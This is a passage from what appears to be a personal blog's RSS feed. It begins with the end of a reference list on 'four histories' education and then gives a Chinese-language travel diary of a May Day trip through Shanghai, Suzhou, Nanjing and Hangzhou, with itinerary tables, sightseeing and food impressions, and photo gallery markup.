&lt;p&gt;习近平：《学好“四史”，永葆初心、永担使命》(&lt;a href=&quot;https://tv.cctv.com/2021/06/01/VIDEdJaNMpSf0wSlx6euFWWt210601.shtml?utm_source=chatgpt.com&quot;&gt;CCTV节目官网&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;张守龙：《高校“四史”教育中微视频自拍竞赛教学法》(&lt;a href=&quot;https://hbxb.net/upfile/files/2025%E5%B9%B4/07/2025-7-57_%E5%BC%A0%E5%AE%88%E9%BE%99.pdf?utm_source=chatgpt.com&quot;&gt;湖北开放职业学院&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;李晓媛：《“四史”教育融合高校思政课教学的实践路径》(&lt;a href=&quot;https://hbxb.net/upfile/files/%E5%85%A8%E6%9C%AC%E6%96%87%E4%BB%B6/2025%E5%B9%B4%E5%85%A8%E6%9C%AC/2025%E5%B9%B4%E7%AC%AC2%E6%9C%9F%E5%85%A8%E6%9C%AC%E6%96%87%E4%BB%B6.pdf?utm_source=chatgpt.com&quot;&gt;湖北开放职业学院&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;B站“四史”主题视频案例分析：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1FS98Y8Eou/?spm_id_from=333.1387.favlist.content.click&amp;amp;vd_source=d4335a60bd9b56e675881356cd6acaa2&quot;&gt;无声骑手：你在生活中有遇到过聋人骑手吗？_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1qp411R7Cc/?spm_id_from=333.1387.favlist.content.click&quot;&gt;延音不止——智化寺京音乐的故事_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>五一出游总结</title><link>https://clairis.cn/posts/05%E4%BA%94%E4%B8%80%E5%87%BA%E6%B8%B8%E6%80%BB%E7%BB%93/5%E4%BA%94%E4%B8%80%E5%87%BA%E6%B8%B8%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://clairis.cn/posts/05%E4%BA%94%E4%B8%80%E5%87%BA%E6%B8%B8%E6%80%BB%E7%BB%93/5%E4%BA%94%E4%B8%80%E5%87%BA%E6%B8%B8%E6%80%BB%E7%BB%93/</guid><pubDate>Thu, 07 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;你一句春不晚，我就到了真江南&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;感谢&lt;code&gt;CUC&lt;/code&gt;的五天读书周与五一连在一起放，上学期期末就想去江南玩，但一直没找到人陪我，刚好放假这段时间高一的妹妹要考试，索性让妈妈给她请假出来玩。&lt;/li&gt;
&lt;li&gt;下面这个表格是原本的安排，但由于飞机提前、苏博没有约上等小差错，所以实际与攻略相差很大&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;日期&lt;/th&gt;
&lt;th&gt;核心景点 / 行程&lt;/th&gt;
&lt;th&gt;交通 / 门票建议&lt;/th&gt;
&lt;th&gt;住宿&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;4.25&lt;/td&gt;
&lt;td&gt;晚到上海浦东 → 打车去苏州&lt;/td&gt;
&lt;td&gt;打车到酒店&lt;/td&gt;
&lt;td&gt;苏州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.26&lt;/td&gt;
&lt;td&gt;拙政园 → 平江路历史街区&lt;/td&gt;
&lt;td&gt;拙政园门票可提前订&lt;/td&gt;
&lt;td&gt;苏州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.27&lt;/td&gt;
&lt;td&gt;苏州博物馆 → 金鸡湖景区&lt;/td&gt;
&lt;td&gt;金鸡湖景区免费，博物馆免费或提前预约可节省排队&lt;/td&gt;
&lt;td&gt;苏州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.28&lt;/td&gt;
&lt;td&gt;上午自由 → 下午前往周庄&lt;/td&gt;
&lt;td&gt;周庄门票可提前订&lt;/td&gt;
&lt;td&gt;周庄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.29&lt;/td&gt;
&lt;td&gt;周庄晨景 → 早上出发去杭州&lt;/td&gt;
&lt;td&gt;周庄 → 杭州高铁或包车约2小时&lt;/td&gt;
&lt;td&gt;杭州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.30&lt;/td&gt;
&lt;td&gt;西湖（断桥 → 苏堤 → 白堤 → 花港观鱼 → 雷峰塔）&lt;/td&gt;
&lt;td&gt;雷峰塔门票提前订，西湖游船可提前预约&lt;/td&gt;
&lt;td&gt;杭州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5.1&lt;/td&gt;
&lt;td&gt;九溪烟树 → 龙井村茶园 → 云栖竹径&lt;/td&gt;
&lt;td&gt;九溪/龙井门票可现场买，打车或包车半天游&lt;/td&gt;
&lt;td&gt;杭州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5.2&lt;/td&gt;
&lt;td&gt;杭州 → 上海 → 外滩 → 南京东路/城隍庙&lt;/td&gt;
&lt;td&gt;杭州 → 上海虹桥高铁票提前订，上海地铁/打车&lt;/td&gt;
&lt;td&gt;飞机返程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;晚上&lt;/td&gt;
&lt;td&gt;飞机返程&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h1&gt;新的时间线&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;日期&lt;/th&gt;
&lt;th&gt;安排&lt;/th&gt;
&lt;th&gt;住宿&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;4.25&lt;/td&gt;
&lt;td&gt;从北京出发飞往上海/上海南京路到外滩的&lt;code&gt;citywalk&lt;/code&gt;/苏州七里山塘&lt;/td&gt;
&lt;td&gt;苏州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.26&lt;/td&gt;
&lt;td&gt;拙政园/游船/苏大独墅湖校区/独墅湖/平江路&lt;/td&gt;
&lt;td&gt;苏州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.27&lt;/td&gt;
&lt;td&gt;坐火车去南京/夫子庙、秦淮河&lt;/td&gt;
&lt;td&gt;南京&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.28&lt;/td&gt;
&lt;td&gt;大报恩寺/先锋书店/玄武湖/德基广场&lt;/td&gt;
&lt;td&gt;南京&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.29&lt;/td&gt;
&lt;td&gt;坐火车去杭州/雨西湖&lt;/td&gt;
&lt;td&gt;杭州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.30&lt;/td&gt;
&lt;td&gt;西湖/武林夜市&lt;/td&gt;
&lt;td&gt;杭州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5.1&lt;/td&gt;
&lt;td&gt;九溪烟树/云栖竹径&lt;/td&gt;
&lt;td&gt;杭州&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5.2&lt;/td&gt;
&lt;td&gt;坐火车去上海/坐飞机回北京&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;4.25——苏州、上海&lt;/h1&gt;
&lt;h2&gt;✈&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;首先是上午五点半就起床😧（也是见过凌晨五点的北京的人了），六点坐上前往首都&lt;code&gt;T3&lt;/code&gt;航站楼的网约车。原本挺担心晕车的，不过运气比较好，叔叔人很好并且车里没有异味，是让人很舒服的香水味。然后是第一次办行李托运，走进看才发现是自助托运。&lt;/li&gt;
&lt;li&gt;在等待飞机与飞机上赶在&lt;code&gt;ddl&lt;/code&gt;前写完了概率论作业&lt;s&gt;虽然看起来很潦草，实际上也很潦草&lt;/s&gt;
:::div{.travel-gallery data-count=&quot;3&quot;}&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/home1.webp&quot; alt=&quot;出发时的记录 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/home2.webp&quot; alt=&quot;出发时的记录 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/home3.webp&quot; alt=&quot;出发时的记录 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;⬆🌊&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;谁懂我出机场后看见我妹妹穿着云天化校服出门旅游的震惊&lt;/li&gt;
&lt;li&gt;匆匆参考了下B站，打算先在上海见识一下大城市&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;南京路步行街——外滩&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;逛了&lt;strong&gt;大白兔&lt;/strong&gt;、名创优品壹号店还有些别的，走了很久终于到了外滩，因为走不动了就没有坐船过河，拍了几张外滩风景就去苏州了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;3&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/shanghai4.webp&quot; alt=&quot;上海街头与外滩照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/shanghai3.webp&quot; alt=&quot;上海街头与外滩照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/shanghai5.webp&quot; alt=&quot;上海街头与外滩照片 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一位很漂亮的&lt;code&gt;coser&lt;/code&gt;，原相机都这么美😍&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;2&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/shanghai1.webp&quot; alt=&quot;上海街头与外滩照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/shanghai2.webp&quot; alt=&quot;上海街头与外滩照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;苏州——七里山塘&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;下午六点到达苏州，放完行李后前往七里山塘附近吃晚饭——苏式火锅，但我还是更喜欢四川的火锅😄&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;2&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0425suzhou1.webp&quot; alt=&quot;苏州七里山塘照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0425suzhou3.webp&quot; alt=&quot;苏州七里山塘照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;地区差异还是挺大的，我记得老家那边的火锅汤底是端来就已经很香了，但苏州的、北京的好多是用白开水或者吃到最后那个汤才好喝😭，想回家了&lt;/li&gt;
&lt;li&gt;吃完就在那里逛&lt;strong&gt;七里山塘&lt;/strong&gt;，走了半天才发现还没有进山塘街。苏州的特色真的很明显——走三步问你买不买茉莉花手串，走五步问你拍不拍照，走十步问你做不做妆造、穿不穿旗袍。妹妹花了45买了杯茉莉花奶茶，真材实料，不过喝起来和伯牙绝弦差不多&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;3&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0425suzhou2.webp&quot; alt=&quot;苏州七里山塘照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0425suzhou4.webp&quot; alt=&quot;苏州七里山塘照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0425suzhou5.webp&quot; alt=&quot;苏州七里山塘照片 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;山塘街的夜景，一种很标准的想象中的江南夜景。老家也在江边，但那条金沙江有点宽，没有&quot;小桥流水人家&quot;的小巧的感觉，是&quot;大河向东流啊，天上的星星参北斗啊&quot;（《好汉歌》）的豪放~~？应该是这样形容的，请原谅我文笔不太好😅~~&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;2&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0425suzhou6.webp&quot; alt=&quot;苏州七里山塘照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0425suzhou7.webp&quot; alt=&quot;苏州七里山塘照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;0426——苏州&lt;/h1&gt;
&lt;h2&gt;拙政园&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;原本以为没到五一人应该不多，没想到周末也是人挤人，&quot;上有天堂，下有苏杭&quot;果然名不虚传。挤了好久终于进去了。拙政园应该是好看的，但我是个俗人，不懂其中的奥妙，也拍不出来。贴几张图片（有的是别人拍的）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;7&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/04261.webp&quot; alt=&quot;拙政园照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/04266.webp&quot; alt=&quot;拙政园照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/04267.webp&quot; alt=&quot;拙政园照片 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/04262.webp&quot; alt=&quot;拙政园照片 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/04263.webp&quot; alt=&quot;拙政园照片 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/04264.webp&quot; alt=&quot;拙政园照片 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/04265.webp&quot; alt=&quot;拙政园照片 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;游船&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;逛完后原本打算去附近的平江路吃东西，但途中碰见一位热情的拉车师傅，他推荐我们先去坐游船环苏州城、听评弹，很心动。&lt;/li&gt;
&lt;li&gt;苏州评弹，雅！👍&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;2&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/04268.webp&quot; alt=&quot;苏州游船照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/04269.webp&quot; alt=&quot;苏州游船照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;苏大独墅湖校区&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;去之前听说苏大的天赐庄校区很好看，遗憾的是没有约上，但在&lt;code&gt;yqh&lt;/code&gt;同学的远程指导下，光明正大地&quot;混&quot;进了独墅湖校区——和中传完全不一样，他们的湖是天然的、很大，校区也好大，不敢想这只是苏大的其中一个校区；不过话又说回来，在北京中传这个大小也不赖&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;独墅湖&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;同学推荐我去看一下独墅湖，刚好过去的时候碰上太阳下山，这个时候又遗憾我没有多背几句诗了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;6&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/042610.webp&quot; alt=&quot;独墅湖照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/042611.webp&quot; alt=&quot;独墅湖照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/042612.webp&quot; alt=&quot;独墅湖照片 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/042613.webp&quot; alt=&quot;独墅湖照片 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/042614.webp&quot; alt=&quot;独墅湖照片 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/042615.webp&quot; alt=&quot;独墅湖照片 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;我真的好喜欢独墅湖&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;平江路&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;平江路没有七里山塘那么拥挤，它的路也比较窄&lt;/li&gt;
&lt;li&gt;东西好吃&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;1&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/042616.webp&quot; alt=&quot;平江路照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一家猫咖里的猫跑到了房檐上坐着，好！可！爱！&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;1&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/042618.webp&quot; alt=&quot;平江路照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;0427南京&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;在原本的计划中是没有南京的，但是看了下苏州好像已经没什么好玩的了，周庄也不想去，于是打算去看看好朋友说的南京到底有多不好玩&lt;/li&gt;
&lt;li&gt;另外，早上应该是12点才出酒店，然后坐了大概两个小时的火车，到南京已经下午两点半了，等收拾差不多再出酒店已经是下午五点&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;夫子庙、秦淮河&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;没什么好逛的，夫子庙和其他商业街很像。南京的雨花石倒是好看，但是不知道是真的石头还是塑料&lt;/li&gt;
&lt;li&gt;秦淮河有游船，但看起来和苏州也很像，然后也没去&lt;/li&gt;
&lt;li&gt;拍了几张建筑，吃的李百蟹蟹黄面，好吃&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;7&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0427-1.webp&quot; alt=&quot;南京夫子庙与秦淮河照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0427-2.webp&quot; alt=&quot;南京夫子庙与秦淮河照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0427-3.webp&quot; alt=&quot;南京夫子庙与秦淮河照片 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0427-4.webp&quot; alt=&quot;南京夫子庙与秦淮河照片 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0427-5.webp&quot; alt=&quot;南京夫子庙与秦淮河照片 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0427-6.webp&quot; alt=&quot;南京夫子庙与秦淮河照片 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0427-7.webp&quot; alt=&quot;南京夫子庙与秦淮河照片 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;0428南京&lt;/h1&gt;
&lt;h2&gt;大报恩寺遗址&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;总的来说，大报恩寺感觉文物其实不是很多，毕竟只是一个遗址，但里面有的很漂亮&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;7&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-4.webp&quot; alt=&quot;南京大报恩寺照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-1.webp&quot; alt=&quot;南京大报恩寺照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-2.webp&quot; alt=&quot;南京大报恩寺照片 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-3.webp&quot; alt=&quot;南京大报恩寺照片 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-5.webp&quot; alt=&quot;南京大报恩寺照片 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-6.webp&quot; alt=&quot;南京大报恩寺照片 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-7.webp&quot; alt=&quot;南京大报恩寺照片 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;先锋书店&lt;/h2&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;3&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-1-1.webp&quot; alt=&quot;南京先锋书店照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-1-2.webp&quot; alt=&quot;南京先锋书店照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-1-3.webp&quot; alt=&quot;南京先锋书店照片 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;那个鱼还挺好吃的，左下角的汤叫“黛玉传花”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;1&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/28-2-1.webp&quot; alt=&quot;南京美食照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h2&gt;玄武湖&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;南京一整天都在下雨，特别冷。进玄武湖景区，感觉和金沙江有点像，然后就走了（其实是走不动了）&lt;/li&gt;
&lt;li&gt;看同学给我发的图片，就是一个湖，没什么好看的&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;德基广场&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;几千万的厕所果然名不虚传&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;0429杭州西湖&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;就因为好朋友告诉我“晴西湖不如雨西湖”，我在几度的天气穿着短袖走在雨中😭&lt;/li&gt;
&lt;li&gt;不过确实挺美的，并且雨天人也少，没排多久就拍到了“绿野仙踪”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;7&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0429-1.webp&quot; alt=&quot;雨天西湖照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0429-2.webp&quot; alt=&quot;雨天西湖照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0429-3.webp&quot; alt=&quot;雨天西湖照片 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0429-4.webp&quot; alt=&quot;雨天西湖照片 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0429-5.webp&quot; alt=&quot;雨天西湖照片 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0429-6.webp&quot; alt=&quot;雨天西湖照片 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0429-7.webp&quot; alt=&quot;雨天西湖照片 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;1&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0429-8.webp&quot; alt=&quot;雨天西湖照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;0430杭州西湖&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;“淡妆浓抹总相宜”，终于明白为什么那么多写西湖的诗歌了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;16&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-1.webp&quot; alt=&quot;西湖照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-2.webp&quot; alt=&quot;西湖照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-3.webp&quot; alt=&quot;西湖照片 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-4.webp&quot; alt=&quot;西湖照片 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-5.webp&quot; alt=&quot;西湖照片 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-6.webp&quot; alt=&quot;西湖照片 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-7.webp&quot; alt=&quot;西湖照片 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-8.webp&quot; alt=&quot;西湖照片 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-9.webp&quot; alt=&quot;西湖照片 9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-10.webp&quot; alt=&quot;西湖照片 10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-11.webp&quot; alt=&quot;西湖照片 11&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-12.webp&quot; alt=&quot;西湖照片 12&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-13.webp&quot; alt=&quot;西湖照片 13&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-14.webp&quot; alt=&quot;西湖照片 14&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-15.webp&quot; alt=&quot;西湖照片 15&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0430-16.webp&quot; alt=&quot;西湖照片 16&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;0501杭州九溪烟树、云栖竹径&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;九溪烟树比较推荐没怎么见过山的人去玩，一座环境很好的山——山青、水秀、虫也多😧&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;3&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0501-2.webp&quot; alt=&quot;九溪烟树与云栖竹径照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0501-3.webp&quot; alt=&quot;九溪烟树与云栖竹径照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0501-4.webp&quot; alt=&quot;九溪烟树与云栖竹径照片 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
